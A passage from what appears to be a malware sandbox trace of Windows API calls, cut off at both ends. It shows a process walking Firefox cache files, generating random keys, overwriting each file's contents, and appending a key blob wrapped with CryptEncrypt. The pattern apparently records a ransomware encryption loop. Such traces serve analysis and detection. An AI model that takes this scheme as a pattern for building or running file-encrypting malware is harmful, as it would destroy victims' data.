lDistanceToMove=-3828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.045] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4788*, nNumberOfBytesToWrite=0xef4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4788*, lpNumberOfBytesWritten=0x2e1f9bc*=0xef4, lpOverlapped=0x0) returned 1 [0187.045] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xef4 [0187.046] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.046] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0318*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0318*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.046] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e0318*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0318*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.046] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.046] CloseHandle (hObject=0x1b80) returned 1 [0187.048] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e1080 | out: pbBuffer=0x30e1080) returned 1 [0187.048] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0187.048] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7B702F73A8CFF65932F151A24DE06DABB5EAD075", dwFileAttributes=0x80) returned 1 [0187.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e0420 [0187.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.049] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x4d0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d0, lpOverlapped=0x0) returned 1 [0187.060] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.060] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d0, lpOverlapped=0x0) returned 1 [0187.061] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d0 [0187.061] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.061] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e1080*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e1080*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.061] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e1080*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e1080*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.061] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.061] CloseHandle (hObject=0x1b80) returned 1 [0187.063] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df6b8 | out: pbBuffer=0x30df6b8) returned 1 [0187.063] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0187.063] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7B4C45A10380E4D649C45CA3E4773E29C3AC7799", dwFileAttributes=0x80) returned 1 [0187.063] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e0528 [0187.063] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.063] ReadFile (in: hFile=0x1b80, lpBuffer=0x30e3060, nNumberOfBytesToRead=0x8a6e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e3060*, lpNumberOfBytesRead=0x2e1f9bc*=0x8a6e, lpOverlapped=0x0) returned 1 [0187.076] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-35438, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.076] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x8a6e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8a6e, lpOverlapped=0x0) returned 1 [0187.076] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x8a6e [0187.076] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.077] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df6b8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df6b8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.077] WriteFile (in: hFile=0x1b80, lpBuffer=0x30df6b8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df6b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.077] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.077] CloseHandle (hObject=0x1b80) returned 1 [0187.079] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df6b8 | out: pbBuffer=0x30df6b8) returned 1 [0187.079] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0187.079] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7B303216787123E2E98A2B9594CDF8211C77C0EA", dwFileAttributes=0x80) returned 1 [0187.079] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dfad8 [0187.079] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.079] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x13fe, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x13fe, lpOverlapped=0x0) returned 1 [0187.094] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-5118, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.094] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4c90*, nNumberOfBytesToWrite=0x13fe, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4c90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x13fe, lpOverlapped=0x0) returned 1 [0187.095] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x13fe [0187.095] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.095] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df6b8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df6b8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.095] WriteFile (in: hFile=0x1b80, lpBuffer=0x30df6b8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df6b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.095] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.096] CloseHandle (hObject=0x1b80) returned 1 [0187.102] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0108 | out: pbBuffer=0x30e0108) returned 1 [0187.102] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0187.102] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7AF60B1A5DF0ABAAD06C0BCF25C7C7DA78E19615", dwFileAttributes=0x80) returned 1 [0187.102] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e0420 [0187.102] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.102] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x528, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x528, lpOverlapped=0x0) returned 1 [0187.118] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.119] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x528, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x528, lpOverlapped=0x0) returned 1 [0187.119] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x528 [0187.119] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.119] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0108*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0108*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.119] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e0108*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0108*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.120] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.120] CloseHandle (hObject=0x1b80) returned 1 [0187.121] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0e70 | out: pbBuffer=0x30e0e70) returned 1 [0187.121] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0187.122] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7A8D3A9360CC37F0AD80962D4AEA72B6D0F0B2B3", dwFileAttributes=0x80) returned 1 [0187.122] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30df3a0 [0187.123] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.123] ReadFile (in: hFile=0x1b80, lpBuffer=0x2f69c20, nNumberOfBytesToRead=0xcf, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f69c20*, lpNumberOfBytesRead=0x2e1f9bc*=0xcf, lpOverlapped=0x0) returned 1 [0187.123] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-207, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.124] WriteFile (in: hFile=0x1b80, lpBuffer=0x2f69f80*, nNumberOfBytesToWrite=0xcf, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f69f80*, lpNumberOfBytesWritten=0x2e1f9bc*=0xcf, lpOverlapped=0x0) returned 1 [0187.124] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xcf [0187.124] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.124] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0e70*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0e70*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.124] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e0e70*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0e70*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.124] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.125] CloseHandle (hObject=0x1b80) returned 1 [0187.154] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0e70 | out: pbBuffer=0x30e0e70) returned 1 [0187.154] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0187.154] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7A230FA7CE251495192749C1289385F278D22EB4", dwFileAttributes=0x80) returned 1 [0187.154] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e0528 [0187.154] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.154] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x116c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x116c, lpOverlapped=0x0) returned 1 [0187.185] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4460, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.185] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4a00*, nNumberOfBytesToWrite=0x116c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4a00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x116c, lpOverlapped=0x0) returned 1 [0187.185] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x116c [0187.186] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.186] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0e70*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0e70*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.186] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e0e70*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0e70*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.186] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.186] CloseHandle (hObject=0x1b80) returned 1 [0187.188] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0630 | out: pbBuffer=0x30e0630) returned 1 [0187.188] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0187.188] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7915475BD9F46BA77133ED0CD8E6ACC3FCF4B8C1", dwFileAttributes=0x80) returned 1 [0187.188] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e0948 [0187.188] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.188] ReadFile (in: hFile=0x1b80, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0xe38e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0xe38e, lpOverlapped=0x0) returned 1 [0187.190] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-58254, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.190] WriteFile (in: hFile=0x1b80, lpBuffer=0x2ef93b0*, nNumberOfBytesToWrite=0xe38e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef93b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe38e, lpOverlapped=0x0) returned 1 [0187.190] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe38e [0187.190] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.190] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0630*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0630*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.191] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e0630*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0630*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.191] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.191] CloseHandle (hObject=0x1b80) returned 1 [0187.192] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df7c0 | out: pbBuffer=0x30df7c0) returned 1 [0187.192] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0187.192] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\79122AC35356132F14E7AA3248B675B5BA972274", dwFileAttributes=0x80) returned 1 [0187.193] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e0318 [0187.193] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.193] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xdfe, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xdfe, lpOverlapped=0x0) returned 1 [0187.200] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3582, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.200] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4690*, nNumberOfBytesToWrite=0xdfe, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4690*, lpNumberOfBytesWritten=0x2e1f9bc*=0xdfe, lpOverlapped=0x0) returned 1 [0187.200] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xdfe [0187.200] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.200] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df7c0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df7c0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.201] WriteFile (in: hFile=0x1b80, lpBuffer=0x30df7c0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df7c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.201] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.201] CloseHandle (hObject=0x1b80) returned 1 [0187.203] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0108 | out: pbBuffer=0x30e0108) returned 1 [0187.203] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0187.203] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\78A520FE200DD59F7079043C2E4494D582DB5E27", dwFileAttributes=0x80) returned 1 [0187.203] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30df190 [0187.203] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.203] ReadFile (in: hFile=0x1b80, lpBuffer=0x30e3060, nNumberOfBytesToRead=0x47dc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e3060*, lpNumberOfBytesRead=0x2e1f9bc*=0x47dc, lpOverlapped=0x0) returned 1 [0187.204] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-18396, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.204] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e7848*, nNumberOfBytesToWrite=0x47dc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e7848*, lpNumberOfBytesWritten=0x2e1f9bc*=0x47dc, lpOverlapped=0x0) returned 1 [0187.205] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x47dc [0187.205] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.205] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0108*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0108*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.205] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e0108*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0108*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.205] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.205] CloseHandle (hObject=0x1b80) returned 1 [0187.211] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df3a0 | out: pbBuffer=0x30df3a0) returned 1 [0187.211] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0187.212] SetFileAttributesW 